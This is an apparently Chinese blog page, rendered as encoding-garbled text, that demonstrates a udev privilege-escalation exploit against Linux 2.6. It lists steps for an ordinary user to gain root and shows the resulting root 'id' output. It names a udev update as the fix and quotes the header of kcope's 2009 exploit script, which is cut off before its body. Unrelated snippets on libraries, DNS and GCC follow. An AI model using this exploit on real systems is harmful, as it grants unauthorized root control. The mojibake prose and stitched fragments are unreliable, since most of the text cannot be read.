Linux¹¥·ÀÖ®udev©¶´ÑÝʾ
´Ë©¶´Õë¶Ôlinux2.6Äںˣ¬Ö»ÒªÓÐÆÕͨÓû§È¨ÏÞ£¬¼´¿ÉÌáÉýrootȨÏÞ£¬¿ªÊ¼ÊµÑé°É 1¡¢¸´ÖÆÒÔÏ´úÂ룬±£´æÎªudev.sh£¬²¢¸³Óè¿ÉÖ´ÐÐȨÏÞ 2¡¢#useradd test //н¨Ò»¸öÆÕͨÓû§ 3¡¢#su - test //Çл»ÖÁtestÓû§ 4¡¢#ps -ef |grep udev //²é¿´udev id root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d 5¡¢#sh udev.sh 473 //Ö´ÐÐÃüÁî,udevdµÄidºÅ¼õ1£¬¼´473 6¡¢sh-3.2# id uid=0(root) gid=0(root) groups=506(test) ´ËʱtestÒѾÌáÉýÖÁrootȨÏÞ ÈçºÎÐÞ¸´Â©¶´£¬Ö»ÒªÉý¼¶udev¾ÍÐÐÁË #yum update udev ¸½´úÂ룺 #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang cat > udev.c program.c suid.c
Ïà¹ØÎĵµ£º
linuxÓкܶàÖµµÃѧϰµÄµØ·½£¬ÕâÀïÎÒÃÇÖ÷Òª½éÉÜlinux¿âÎļþ£¬¾¹ýËѼ¯ºÍÕûÀílinux¿âÎļþ²ÄÁÏ£¬ÔÚÕâÀïÄóöÀ´ºÍ´ó¼Ò·ÖÏíһϣ¬Ï£Íû´ó¼Ò¿´ºó»áÓв»ÉÙÊÕ»ñ¡£
linux¿âÎļþÔÚÁ¬½Ó£¨¾²Ì¬¿âºÍ¹²Ïí¿â£©ºÍÔËÐУ¨½öÏÞÓÚʹÓù²Ïí¿âµÄ³ÌÐò£©Ê±±»Ê¹Óã¬ÆäËÑË÷·¾¶ÊÇÔÚϵͳÖнøÐÐÉèÖõġ£
Ò»°ã Linux ϵͳ°Ñ /lib ºÍ /usr/lib Á½¸öĿ¼×÷Î ......
½ñÌìÓÃmyeclipse,´´½¨¹¤³ÌÏîÄ¿,È»ºó×¼±¸ÇôúÂë,ÔÚдעÊ͵Äʱºò,·¢ÏÖ²»ÄÜÊäÈëÖÐÎÄ,¸Õ¿ªÊ¼¾õµÃ²»ÄÜÊäÈëÖÐÎľÍËãÁ˰É,ÓÃÓ¢ÎÄдעÊÍÒ²¿ÉÒÔµÄ,µ«ÊÇÕâ¼þÊÂûÓÐÕâôËãÁË,ÎÒ×¢ÊÍԽдԽ¶àµÄʱºò,·¢Ïֺܶà×Ô¼º²»»áдµÄµ¥´Ê,ÐèҪһЩʱ¼ä²ÅÄÜÏëÆðÀ´,Õâ¶àôµ¢Îóʱ¼ä°¡!
......
¶ÔÓÚ¶¯Ì¬Á´½Ó¿âºÍ¾²Ì¬Á´½Ó¿âµÄ¸ÅÄîÒÔ¼°Á´½Ó·½Ê½²»ÔÙÀÛ׸¡£Ö±½Ó¿ªÊ¼ÉÏ´úÂëºÍ½øÐбàÒë¡£-__-||¡£
´úÂëºÜ¼òµ¥£¬ºáÊú¾ÍÈý¸öµ±¼ÒµÄ¡£
¿âÍ·Îļþcorey.hpp:
#ifndef LIBRARY_H
#define LIBRARY_H
void add(int,int,int*);
#endif
¿âʵÏÖÎļþcorey.cpp
#include "corey.hpp"
void add(int a,int b,int *c){
int total=a ......
´ó¼Ò¶¼ÖªµÀÐÞ¸ÄlinuxϵÄDNS¿ÉÒÔÖ±½ÓÐÞ¸Ä/etc/resolv.conf:
root@xuanfei-desktop:~#vim /etc/resolv.conf
nameserver ip //ÌîÉÏÄãµ±µØÊ¹ÓõÄ×î¿ìDNS·þÎñÆ÷IPµØÖ·
nameserver ip
µ±È»Ò²¿ÉÒÔÖ±½ÓʹÓÃÍøÂç¹ÜÀíÆ÷Ð޸ġ£
µ«ÊÇÈç¹ûÄãËùÔÚ»ú¹¹»òÕß¹¤×÷µÄµØ·½±ØÐëÒªÇóÄãÓÃDHCP»ñµÃ×Ô¼º·Ç¹Ì¶¨¶¯Ì¬IP ......
Ŀǰ£¬GCC¿ÉÒÔÓÃÀ´±àÒëC/C++¡¢FORTRAN¡¢JAVA¡¢OBJC¡¢ADAµÈÓïÑԵijÌÐò£¬¿É¸ù¾ÝÐèҪѡÔñ°²×°Ö§³ÖµÄÓïÑÔ¡£±¾ÎÄÒÔÔÚRedhat LinuxÉϰ²×°GCC4.1.2ΪÀý(ÒòÔÚÏîÄ¿¿ª·¢¹ý³ÌÖÐÒªÇóʹÓã¬Ã»ÓÐÓÃ×îеÄGCC°æ±¾)£¬½éÉÜGCCµÄ°²×°¹ý³Ì¡£
°²×°Ö®Ç°£¬ÏµÍ³ÖбØÐëÒªÓÐcc»òÕßgccµÈ±àÒëÆ÷£¬²¢ÇÒÊÇ¿ÉÓõ쬻òÕßÓû·¾³±äÁ¿CCÖ¸¶¨ÏµÍ³ÉϵıàÒëÆ÷¡£È ......